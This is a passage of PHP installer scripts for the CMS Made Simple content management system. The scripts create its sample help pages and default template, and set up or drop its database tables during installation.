     '<p>Simplex Theme has been created to demonstrate HTML5 and CSS3 functionality within CMS Made Simple&trade;.<br />It is shipped with a CSS Framework making it possible for you to create Responsive and Mobile capabale layouts with ease.</p><h2>What is included?</h2><p>With this Template you will find four Stylesheets attached to it.</p><ul><li>Simplex Core</li><li>Simplex Layout</li><li>Simplex Mobile</li><li>Simplex Print</li></ul><p>Main Functionality of this Template is included in Core Stylesheet. It contains a simple Fluid Grid Framework based on <a class="external" href="http://960.gs/" title="960 Grid System" target="_blank">960 Grid System</a>.<br />In this same Stylesheet CSS <a class="external" href="http://www.w3.org/TR/css3-mediaqueries/" title="W3C Media Queries" target="_blank">Media Queries</a> are being used that make it possible for a flexible layout based on Screen width.<br /><br />With Simplex Theme it is very easy to quickly change appearance of complete Site at once. If you look at Page Template code you will find "boxed" id in the <code>&lt;body&gt;</code> tag.<br />When this id is removed the Layout of the Site is changed and you would face a simple layout with White background.<br />You can also quickly change allignement of the complete Site. If you change the class of "wrapper" div to leftaligned or rightaligned, whole Page will be aligned to left or right.</p><h2>Support for Mobile Devices</h2><p>As mentioned above this Theme is shipped with Stylesheet Framework that gives you a starting point for easy developement of Responsive Layout.<br />Mobile world is very versatile and Framework itself is by no means perfect, it is only a starting point but as a Developer you should decide which technique you should use for your current Project.<br />Responsive Template is only one small step towards Mobile support.</p><p>This Theme requires <a class="external" href="http://jquery.org/" title="jQuery" target="_blank">jQuery</a> which is included with <code>{ldelim}cms_jquery{rdelim}</code> tag.</p><p><cite>Note: {ldelim}cms_jquery{rdelim} tag is included at the bottom of the Template. You should be carefull with it when you are using Modules that include jQuery in &lt;head&gt; section.</cite></p><p>In file functions.js a section is included that makes it possible of Navigating through site with some Mobile Devices. This part of the code, covers only few devices and it is only meant as an example and a starting point for Developer.</p><h2>This and that</h2><p>As an example of <a class="external" href="http://www.smarty.net/" title="Smarty" target="_blank">Smarty</a> power within CMS Made Simple&trade; Templates a very simple Slider has been included, which demonstartes how easy it is to quickly create a Slideshow without a single Module.</p><pre><code>{ldelim}assign var=\'teaser\' value=\'uploads/simplex/teaser/*.jpg\'|glob{rdelim}<br />{ldelim}foreach from=$teaser item=\'one\'{rdelim}<br /> &lt;div&gt;&lt;img src=\'{ldelim}root_url{rdelim}/{ldelim}$one{rdelim}\' width=\'852\' height=\'275\' alt=\'\' /&gt;&lt;/div&gt;<br />{ldelim}/foreach{rdelim}<br /> {/strip}</code></pre><p><cite>If you would like to make this Slider responsive you should include a additional jQuery Plugin like for example <a class="external" href="http://swipejs.com" target="_blank" title="SwipeJS">SwipeJS</a></cite></p><p>In included Stylesheets, Smarty has been used as well. This should make it possible for you, to quickly change Color scheme of the theme by simply changing HEX code within assign Tags.</p><pre><code>[[assign var=\'boxed_bg\' value="#d1d1d1 url(`$path`/boxed-bg.gif)"]][[assign var=\'light_grey\' value=\'#f1f1f1\']]<br />[[assign var=\'grey\' value=\'#e9e9e9\']]<br />[[assign var=\'dark_grey\' value=\'#555\']]<br />[[assign var=\'white\' value=\'#fff\']]<br />[[assign var=\'orange\' value=\'#f39c2c\']]<br />[[assign var=\'dark_orange\' value=\'#e6870e\']]<br />[[assign var=\'yellow\' value=\'#fdbd34\']]</code></pre><p>If you are using a modern Browser, you will notice that the Theme is using some of <a class="external" href="http://www.w3.org/TR/CSS/#css3" title="CSS3" target="_blank">CSS3</a> techniques. There are no Internet Explorer fallbacks included but this doesn\'t mean that it does not work in Internet Explorer.<br />A Visitor that is using Internet Explorer will simply see a Layout with gracefull fallback, meaning animations will not animate, rounded corners will be edges...</p><p><em>Note from Theme Develper Goran Ilic (uniqu3e):</em></p><blockquote><cite>The Simplex Theme was kept simplistic which should make it possible for a Developer to easily read code used in Theme and either create a new Layout from it or editing this Theme.<br /><br />A full Internet Explorer or Mobile support was intentionally not included, as each Developer should decide how far a old Browser like Internet Explorer (7,8) or which Mobile devices he wants to support and which Technique he will use.<br />Each Project is different and with each Project there is a need for different techniques.</cite></blockquote>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

//////////////////////////////////
//  //  DEFAULT EXTENSIONS  //  //
//////////////////////////////////

// Default Extensions / -1 / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Default Extensions');
$contentobj->SetAlias();
$contentobj->SetMenuText('Default Extensions');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId(-1);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>With the default installation of CMS Made Simple come six modules and a number of tags. The features of these are described and displayed on the following pages.</p><p>To find out more about the core modules, click {cms_selflink page=\'modules\' text=\'Modules\'}. For an explanation the core tags, simply click {cms_selflink page=\'tags\' text=\'Tags\'}.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Modules / 24 / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Modules');
$contentobj->SetAlias();
$contentobj->SetMenuText('Modules');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Default Extensions']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>There are six modules that come with the default installation of CMS Made Simple. On the following pages we explain how these are used. Click on each module name in the menu to the left or in the list below.</p><p>To insert a module in a template or a page you normally use the <code>{ldelim}cms_module}</code> tag with the module name as one of the parameters. But to simplify things, all core modules also have a tag wrapper, so that they are called simple by their name, like <code>{ldelim}news}</code>.</p><ul><li>{cms_selflink page=\'news\' text=\'News\'}</li><li>{cms_selflink page=\'menu-manager-2\' text=\'Menu Manager\'}</li><li>{cms_selflink page=\'theme-manager\' text=\'Theme Manager\'}</li><li>{cms_selflink page=\'microtiny\' text=\'MicroTiny\'}</li><li>{cms_selflink page=\'search\' text=\'Search\'}</li><li>{cms_selflink page=\'module-manager\' text=\'Module Manager\'}</li></ul>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// News / Modules / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('News');
$contentobj->SetAlias();
$contentobj->SetMenuText('News');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Modules']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Most web sites have a section for the latest news. In CMS Made Simple the best way to accomplish that is by using the News module.</p><p>To display a list of news items you insert the tag <code>{ldelim}news number=\'5\' category=\'General\'}</code>. On this page the tag is inserted in the template. But it can also be inserted on a page. You can see the News module in use in the sidebar to the left.</p><p>There are a number of parameters that can be used in conjunction with this tag. To read about how a module is used, navigate to Extensions &raquo; Modules in the Admin Panel and click on "Help" for the module you want to read about.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Menu Manager / Modules / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Menu Manager');
$contentobj->SetAlias();
$contentobj->SetMenuText('Menu Manager');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Modules']);
$contentobj->SetAlias('menu-manager-2');
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>The Menu Manager has already been explained on the How CMSMS Works » {cms_selflink page=\'menu-manager\' text=\'Menu Manager\'} page. It is a very powerful module that can be used for any kind of navigation system on your web site.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Theme Manager / Modules / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Theme Manager');
$contentobj->SetAlias();
$contentobj->SetMenuText('Theme Manager');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Modules']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>The Theme Manager module allows you to import and export templates and their attached stylesheets, including any images they use, as "themes". This allows you to share your look and feel with other CMSMS users.</p><p>It is very easy to convert any kind of template to be used with CMS Made Simple. Many templates like this have already been converted and can be installed using the Theme Manager, the CMSMS community also shares themes for anyone to download and use at the <a class="external" target="_blank" href="http://themes.cmsmadesimple.org">CMSMS Themes site</a>.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// MicroTiny / Modules / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('MicroTiny');
$contentobj->SetAlias();
$contentobj->SetMenuText('MicroTiny');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Modules']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>MicroTiny is a so called WYSIWYG editor for editing pages. WYSIWYG stands for What You See Is What You Get. It works similar to a word processor, where you can select the style for the content and see how it is going to look on the page.</p><p>Among available WYSIWYG editors CMS Made Simple has decided to use MicroTiny (the stripped down version of TinyMCE). TinyMCE is among the most developed WYSIWYG editors, with regular updates, a large following and customizable features.</p><p>However, it is very difficult to create a cross-browser online editor that works in all different kinds of environments. If you are familiar with HTML you can select no WYSIWYG in My Preferences &raquo; User Preferences in the Admin Panel. That gives you more control over the code that will be on the page.</p><p>There are also other WYSIWYG editor modules available for download.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();


// Search / Modules / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Search');
$contentobj->SetAlias();
$contentobj->SetMenuText('Search');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Modules']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Search is a module for searching "core" content along with certain registered modules. You put in a word or two and it gives you back matching, relevant results.</p><p>You can see the search module in use in the default templates, like on this page. Simply put <code>{ldelim}search}</code> in your template, where you want the search form to appear. If you want the results of a search to appear on a different page, you can specify this with the parameter <code>resultpage=\'page alias\'</code>.</p><p>For more information, see the Search module in the Admin Panel, in the Extensions menu.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();


// Module Manager / Modules / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Module Manager');
$contentobj->SetAlias();
$contentobj->SetMenuText('Module Manager');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Modules']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>A client for the ModuleRepository, this module allows you to see what modules are available, the version number, size, and Status/Action (whether it is already installed or not), read the Help and About for each module, letting you install modules from remote sites without the need for FTP\'ing, or unzipping archives. Module XML files are downloaded using SOAP, integrity verified, and then expanded automatically.</p><p>ModuleManager now checks dependencies. When dependencies are set, the module wont install until dependencies are met. Also a new tab is available, that shows newer versions of installed modules.</p><p>In short, this means that you can download and install modules directly from the Admin Panel. Any module that has been released as an XML file can be downloaded and installed. Go to Extensions &raquo; Module Manager in the Admin Panel to see the list of modules from the official CMSMS repository in the CMSMS Development Forge.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();


// Tags / Default Extensions / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Tags');
$contentobj->SetAlias();
$contentobj->SetMenuText('Tags');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Default Extensions']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>There are a number of custom tags included with the default CMS Made Simple installation. They are all described and demonstrated in the following page, and user defined tags are in the next one.</p><p>To use a tag, simply put it in the template or page like this: {ldelim}nameoftag}. Some tags can also take parameters, which are described in the Help that is accessible for each tag in Extensions &raquo; Tags in the Admin Panel.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Tags in the core / Tags / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Tags in the core');
$contentobj->SetAlias('cms_tags');
$contentobj->SetMenuText('Tags in the core');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Tags']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>There are plenty of tags included with the CMSMS core. Some of them are demonstrated here, for any questions as to the parameters they can take or anything else please see the Tags Help.</p><h3>{ldelim}anchor}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}anchor anchor=\'here\' text=\'Scroll Down\' class=\'myclass\' title=\'mytitle\' tabindex=\'1\' accesskey=\'s\'}</code></dd> <dt>Display</dt> <dd>Creates a link to an anchor on the same page. Used for example for the ^Top link at the bottom of this page.</dd> </dl><h3>{ldelim}cms_breadcrumbs{rdelim}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}cms_breadcrumbs root=\'Home\'{rdelim}</code></dd> <dt>Display</dt> <dd>Breadcrumbs are a navigational technique displaying all visited pages leading from the home page to the currently viewed page. You find it under the header on this page.</dd></dl><h3>{ldelim}cms_module}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}cms_module module=\'somemodulename\' param1=\'something\' param2=true}</code></dd> <dt>Display</dt> <dd>This tag is used to insert modules into your templates and pages.  Used for any module that you download. In the default templates, wrapper tags are used for inserting modules though. That is, a tag is made to insert a cms_module tag.</dd> </dl><h3>{ldelim}cms_selflink}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}cms_selflink page="1"}</code> or <code>{ldelim}cms_selflink page="alias"}</code></dd> <dt>Display</dt> <dd>Creates a link to another CMSMS content page inside your template or content. Can also be used for external links with the ext parameter. </dd> <dt>Example</dt> <dd>{cms_selflink page=\'modules\' text=\'Link to the modules page\'} </dd> <dd><a class="external" href="http://www.cmsmadesimple.org">This is an external link to the CMS Made Simple website</a></dd> </dl><h3>{ldelim}cms_version}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}cms_version}</code></dd> <dt>Display</dt> <dd>Displays current version number of CMS Made Simple. </dd> <dt>Example</dt> <dd>See the footer on this page.</dd> </dl><h3>{ldelim}cms_versionname}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}cms_versionname}</code></dd> <dt>Display</dt> <dd>Displays current version name of CMS Made Simple. </dd> <dt>Example</dt> <dd>See the footer on this page.</dd> </dl><h3>{ldelim}current_date}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}current_date format="%A %d-%b-%y %T %Z"}</code></dd> <dt>Display</dt> <dd>Prints the current date and time.</dd> <dt>Example</dt> <dd>{current_date format="%A %d-%b-%y %T %Z"}</dd> </dl><h3>{ldelim}embed}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}embed url="http://www.cmsmadesimple.org"}</code></dd> <dt>Display</dt> <dd>Enable inclusion (embeding) of any other application into the CMS. The most usual use could be a forum. </dd> </dl><h3>{ldelim}global_content}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}global_content name=\'footer\'}</code></dd> <dt>Display</dt> <dd>Inserts a Global Content Block (previously known as HTML blob) into your template or page. The code for the footer of this page is in a Global Content Block. </dd> </dl><h3>{ldelim}menu_text}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}menu_text}</code></dd> <dt>Display</dt> <dd>Prints the menu text of the page.</dd> <dt>Example</dt> <dd>{menu_text}</dd> </dl><h3>{ldelim}modified_date}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}modified_date format="%A %d-%b-%y %T %Z"}</code></dd> <dt>Display</dt> <dd>Prints the date and time the page was last modified. </dd> <dt>Example</dt> <dd>{modified_date format="%A %d-%b-%y %T %Z"}</dd> </dl><h3>{ldelim}print}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}CMSPrinting}</code></dd> <dt>Display</dt> <dd>Creates a link to only the content of the page.</dd> <dt>Example</dt> <dd>{ldelim}CMSPrinting}</dd> </dl><h3>{ldelim}site_mapper}</h3><dl> <dt>Syntax used</dt> <dd><code>{ldelim}site_mapper}</code></dd> <dt>Display</dt> <dd>Prints out a sitemap.</dd> <dt>Example</dt> <dd>{site_mapper}</dd> </dl>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// User Defined Tags / Tags / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('User Defined Tags');
$contentobj->SetAlias();
$contentobj->SetMenuText('User Defined Tags');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Tags']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>One of the little known features of CMS Made Simple is the User Defined tag.  Basically, this allows you to write PHP code inside the Admin Panel.  Use the \'Add User Defined Tag\' button in Extension &raquo; User Defined Tags in the Admin Panel, write some code, and then insert into a template or page with {literal}{newpluginname}{/literal}.  Simple!</p><p>As an example, I\'ve put together a one line plugin/tag that will show your current User Agent information (which browser you\'re using).  The output is right here: <strong>{user_agent}</strong>.</p><p>If you\'re not looking at the source, all that is in the page is {literal}{user_agent}{/literal}.  To see how this code works, edit the user_agent tag in the Extensions &raquo; User Defined Tags page of the admin.</p><p>This is a VERY powerful feature if used right.  Remember, user defined tags do not get cached, therefore, scripts to rotate ad banners and such will work just fine. Note also that tag code has to be written <em>without</em> opening &lt; ? php  and ending  ? &gt; tags.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

?>
<?php
global $admin_user;

//
// Stylesheets
//
# no stylesheets for a no sample content option

//
// Designs
//
$design = new CmsLayoutCollection();
$design->set_name('Default');
$design->set_description('Default design with just the default template.');
$design->set_default(TRUE);
$design->save();
$design->save();

//
// Types
//
$page_template_type = new CmsLayoutTemplateType();
$page_template_type->set_originator(CmsLayoutTemplateType::CORE);
$page_template_type->set_name('page');
$page_template_type->set_dflt_flag(TRUE);
$page_template_type->set_lang_callback('CmsTemplateResource::page_type_lang_callback');
$page_template_type->set_content_callback('CmsTemplateResource::reset_page_type_defaults');
$page_template_type->set_help_callback('CmsTemplateResource::template_help_callback');
$page_template_type->reset_content_to_factory();
$page_template_type->set_content_block_flag(TRUE);
$page_template_type->save();

$gcb_template_type = new CmsLayoutTemplateType();
$gcb_template_type->set_originator(CmsLayoutTemplateType::CORE);
$gcb_template_type->set_name('generic');
$gcb_template_type->set_lang_callback('CmsTemplateResource::generic_type_lang_callback');
$gcb_template_type->set_help_callback('CmsTemplateResource::template_help_callback');
$gcb_template_type->save();

//
// Template Categories
//

//
// Templates
//
$app = \__appbase\get_app();

$fn = $app->get_destdir()
    . DIRECTORY_SEPARATOR . 'admin'
    . DIRECTORY_SEPARATOR . 'templates'
    . DIRECTORY_SEPARATOR . 'orig_page_template.tpl';

$txt = file_get_contents($fn);
$template = new CmsLayoutTemplate();
$template->set_name('Default');
$template->set_description('This is the default minimal template. A simple starting point to build templates from.');
$template->set_type($page_template_type);
$template->set_content($txt);
$template->set_type($page_template_type);
$template->set_type_dflt(TRUE);
$template->add_design($design);
$template->set_owner(1);
$template->save();

//
// Extra global templates
//

#

//
// Default Content Object
//
ContentOperations::get_instance()->LoadContentType('content');
$content = new Content;
$content->SetName('Home');
$content->SetAlias();
$content->SetOwner(1);
$content->SetMenuText('Home Page');
$content->SetTemplateId($template->get_id());
$content->SetParentId(-1);
$content->SetActive(TRUE);
$content->SetShowInMenu(TRUE);
$content->SetCachable(TRUE);
$content->SetDefaultContent(TRUE);
$content->SetPropertyValue('searchable',1);
$content->SetPropertyValue('design_id',$design->get_id());
$content->SetPropertyValue('content_en',
			   '<p>Congratulations! The installation worked. You now have a fully functional installation of CMS Made Simple and you are <em>almost</em> ready to start building your site.</p><p>If you chose to install the default content, you will see numerous pages available to read.  You should read them thoroughly  as these default pages are devoted to showing you the basics of how to begin working with CMS Made Simple.  On these example pages, templates, and stylesheets many of the features of the default installation of CMS Made Simple are described and demonstrated. You can learn much about the power of CMS Made Simple by absorbing this information.</p><p>To get to the Administration Console you have to login as the administrator (with the username/password you specified during the installation process) on your site at http://yourwebsite.com/cmsmspath/admin.  If this is your site click <a title="CMSMS Demo Admin Panel" href="admin">here</a> to login.</p><p>Read about how to use CMS Made Simple in the <a class="external" href="http://docs.cmsmadesimple.org/" title="CMS Made Simple Documentation" target="_blank">documentation</a>. In case you need any help the community is always at your service, in the  <a class="external" href="http://forum.cmsmadesimple.org" title="CMS Made Simple Forum" target="_blank">forum</a> or the <a class="external" href="http://www.cmsmadesimple.org/support/irc" title="Information about the CMS Made Simple IRC channel" target="_blank">IRC</a>.</p><h3>License</h3><p>CMS Made Simple is released under the <a class="external" href="http://www.gnu.org/licenses/licenses.html#GPL" title="General Public License" target="_blank">GPL</a> license and as such you don\'t have to leave a link back to us in these templates or on your site as much as we would like it.</p><p>Some third party addon modules may include additional license restrictions.</p>');
$content->Save();
?>
<?php

if (isset($CMS_INSTALL_DROP_TABLES)) {

 status_msg(ilang('install_dropping_tables'));
 $db->DropSequence(CMS_DB_PREFIX."additional_users_seq");
 $db->DropSequence(CMS_DB_PREFIX."admin_bookmarks_seq");
 $db->DropSequence(CMS_DB_PREFIX."additional_users_seq");
 $db->DropSequence(CMS_DB_PREFIX."content_seq");
 $db->DropSequence(CMS_DB_PREFIX."content_props_seq");
 $db->DropSequence(CMS_DB_PREFIX."events_seq");
 $db->DropSequence(CMS_DB_PREFIX."event_handler_seq");
 $db->DropSequence(CMS_DB_PREFIX."group_perms_seq");
 $db->DropSequence(CMS_DB_PREFIX."groups_seq");
 $db->DropSequence(CMS_DB_PREFIX."module_deps_seq");
 $db->DropSequence(CMS_DB_PREFIX."module_templates_seq");
 $db->DropSequence(CMS_DB_PREFIX."permissions_seq");
 $db->DropSequence(CMS_DB_PREFIX."users_seq");
 $db->DropSequence(CMS_DB_PREFIX."userplugins_seq");

 $dbdict = NewDataDictionary($db);

 $sqlarray = $dbdict->DropIndexSQL("idx_template_id_modified_date");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropIndexSQL(CMS_DB_PREFIX."idx_template_id_modified_date");
 $dbdict->ExecuteSQLArray($sqlarray);

 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."additional_users");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."adminlog");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."admin_bookmarks");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."content");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."content_props");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."events");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."event_handlers");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."group_perms");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL("`".CMS_DB_PREFIX."groups`");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."modules");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."module_deps");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."module_templates");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."permissions");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."siteprefs");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."user_groups");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."userprefs");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."users");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."userplugins");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."version");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."module_smarty_plugins");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX."routes");
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutTemplateType::TABLENAME);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutTemplateCategory::TABLENAME);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutTemplate::ADDUSERSTABLE);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutStylesheet::TABLENAME);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::TABLENAME);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::TPLTABLE);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::CSSTABLE);
 $dbdict->ExecuteSQLArray($sqlarray);
 $sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.CmsLock::LOCK_TABLE);
 $dbdict->ExecuteSQLArray($sqlarray);
}

if (isset($CMS_INSTALL_CREATE_TABLES)) {

 status_msg(ilang('install_createtablesindexes'));
 if ($db->dbtype == 'mysql' || $db->dbtype == 'mysqli') {
	@$db->Execute("ALTER DATABASE `" . $db->database . "` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci");
 }

 $dbdict = NewDataDictionary($db);
 $taboptarray = array('mysql' => 'ENGINE MyISAM CHARACTER SET utf8 COLLATE utf8_general_ci', 'mysqli' => 'ENGINE MyISAM CHARACTER SET utf8 COLLATE utf8_general_ci');

	$flds = "
		additional_users_id I KEY,
		user_id I,
		page_id I,
		content_id I
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."additional_users", $flds, $taboptarray);
	$return = $dbdict->ExecuteSQLArray($sqlarray);
	$ado_ret = ($return == 2) ? ilang('done') : ilang('failed');
	verbose_msg(ilang('install_created_table', 'additional_users', $ado_ret));



	$flds = "
		bookmark_id I KEY,
		user_id I,
		title C(255),
		url C(255)
	";
	$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX."admin_bookmarks", $flds, $taboptarray);
